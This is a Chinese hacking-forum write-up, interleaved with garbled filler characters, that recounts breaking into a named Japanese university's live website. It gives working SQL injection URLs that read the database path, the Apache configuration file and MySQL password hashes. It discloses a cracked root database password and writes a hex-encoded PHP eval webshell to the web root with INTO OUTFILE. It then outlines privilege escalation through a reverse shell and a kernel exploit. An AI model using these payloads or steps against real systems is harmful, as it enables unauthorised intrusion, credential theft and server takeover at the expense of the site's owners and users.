入侵日本同志社大学技术分析3 s4 L+ S! O e1 \& r2 @
8 N) k6 y& g' ~1 D1 s4 A. @( rhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1) P' X3 D: k+ [; `0 q
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:0 D) E5 o5 c( v+ k
: n5 S( U ]6 S! s& Ohttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
5 X3 ^7 W l1 j* C/ d$ q% p/ n9 d; U4 G: D: }% F$ a6 g& H
0 s- g. g2 b2 L& n* Q( `, O! p) w2 T4 J$ S; ~0 d3 y) b
//@@datadir为数据库文件路径
$ e; ?* }: d) ~9 L2 r! c1 N" _
* \$ T# U* `, a4 s8 R8 y% F2 z* S
2 _- Z, }4 }4 V//load_file读取网站容器apache的配置文件
. x9 Q0 z3 h7 u0 ^: e2 n/ O 0 l6 {. o4 A. v4 x: P
W0 U* d- n) r5 q( y//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 ' q) O+ J9 @/ L& U
复制代码% A+ R& [9 R. p- E# W. l- x5 d
4 p0 w c! B! s2 a8 F
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
% p- a4 y) h( e/ k: D1 R9 b' S+ j N$ I0 @6 f8 }, x
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
9 z! M$ V5 ~% Q0 P9 K; J(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
' \! O* x S2 P+ {: C( G
9 n; {# s, @7 [8 x* A; I6 l' D2 G. |前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。) R [0 A& S, X2 r- b+ n, L8 G1 ^9 @
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html: k* C' B5 [& q) A
! ?' d& y9 e; g. V
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
1 I, E7 C4 g b8 K" R虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。% C- |( X6 d/ z! k/ e
直接写一句话:# [2 N% ^/ v8 ^* X4 }; Z
9 g0 l% I) e& J# K9 n8 l' |http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
+ w: ~5 A+ Y$ p0 {/ s+ f. o- I4 b; K+ T
Y# `: V" l1 k6 C
1 T& O8 l% q2 g/ u- t//最后的#是为了闭合前面的语句 % E, l& S9 k4 Z/ \
1 n0 ~7 ] X1 p' b! H; k! j
2 N4 p2 J+ }( \+ B3 o' J0 Y; F/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 4 ~) [% [0 A. w( a* Z
4 `$ t/ v. f1 y8 f6 F4 q/ f; x" T& R. ~ V
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
) S8 F4 ^5 _( B. z2 z, v # K+ }1 d% n# w
1 R1 X; } ?% [7 |0 R/ f6 @//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 1 @9 P& d5 U V, \+ N3 M. u
" Y e. I# j! ]4 k& L. [6 s
' m8 y' t- g7 j; o+ Q6 I//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
3 T) D2 d9 q$ `3 p: [7 `//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ; M, E7 F' V9 f# Q5 L7 |7 g
复制代码
/ g) ~. l" ~2 Y) C4 y2 Q" ?* O' F7 E; K" C- ?
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有" d* Q* z- f# ]
通过上述注入语句,我们就得到了一句话木马:
4 J! A: k ^$ I$ Q' G, v
& F+ k3 o# p4 K$ V7 M; ~2 L
& U4 s, y3 H! U" T0 @2 W2 L
$ O, v7 t& o! F# n7 s
* E+ p8 n" V9 R5 a, @* w1 q( N
http://www.doshisha.ac.jp/english/engnews_img/aa.php + \9 z1 G( P& @5 {; O# w
复制代码& j& y( |) w7 } h
& A4 k ]3 H" F4 z y/ y
用菜刀连接,密码是cmd,如图所示:
) ?$ t- ~) n, M9 h0 n然后在命令提示行里看了一下,现在的权限是:
9 _6 T I' f3 P
$ t# ]9 s* G9 t+ h( _之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。+ z& O1 W4 L7 T6 G% Y4 p7 Q
好在赋权给这个文件夹不需要root,直接执行赋权语句:
6 N0 W, }& o% |2 |8 s+ i/ H
. T8 }' O' C3 H0 A5 t ( _+ H5 Z! k2 U( j) y9 @4 _8 s3 |
8 _/ j( f) ?! D0 B
. O. ~' K- Z5 ], u$ R0 S# Y
! l, {( C3 U2 N3 X0 i
chmod +x /tmp/
. f3 |$ {; J4 [. M' r. ^复制代码( v+ N/ [, H/ G
4 g1 ?8 j W; ]4 {1 Z* w8 ~在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行& ?# l/ K+ U4 S6 L
然后就查了一下内核版本:
a$ m+ |9 i0 r9 `1 ~+ F9 O; S' P, J6 E) x9 T0 G
% v% G% D) b. R& i2 n! B$ \( G+ n' J2 A. i
8 P6 J- q- A6 R" z3 ?6 W* B
& M& }9 n2 M; D# N4 X' P; W4 i' @uname-a
! d3 N) h% W; Y4 p+ C' d5 [' E
# A9 V9 f; \% I
5 r$ A- X2 Z+ S. E& W//其实lsb_release -a
2 ~# m. @4 K: S* f5 c9 `* Q! e复制代码; k5 U @0 G7 a- a9 S
8 |! y: R8 ~( F1 q; G如图所示:% w6 R9 t: T( k
# o4 E- e7 F, o/ s) h) k
内核版本:linux mainz1 2.6.28-194.e15, P$ P4 e3 v" w- U# D
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
4 i) V. R, j/ L! v查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹" s" k5 v3 F2 K# L0 R2 i! ~* g
/ P0 P5 c' h! e3 I. w
然后给予执行权限
! N8 F# V4 x3 ?4 `3 ]一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样' O1 x$ e3 Y3 v
( h8 j/ q" t. B7 y + f: h4 [7 C4 z4 }4 F i% `
1 Q! \, ~" p8 U
( u- J( e7 T& a6 T" @1 L! `* G3 l( Y$ X) ~3 K: y4 j" S2 {1 N' y2 I, W. h
chmod +x /tmp/2.6.18-194 + O, E# ] d3 Q" `( Y, P4 f
复制代码 然后直接执行!~
% }2 ~8 i: ~& B% J- Q& Q
' s! \6 J) p5 T c3 }' U总结:
) H2 w7 w$ T8 }/ {这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了/ ]! m! b( w1 J/ n
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root: D. D7 r# J' p" D3 z
, E0 W6 F% ?6 T: _) |* s& Y |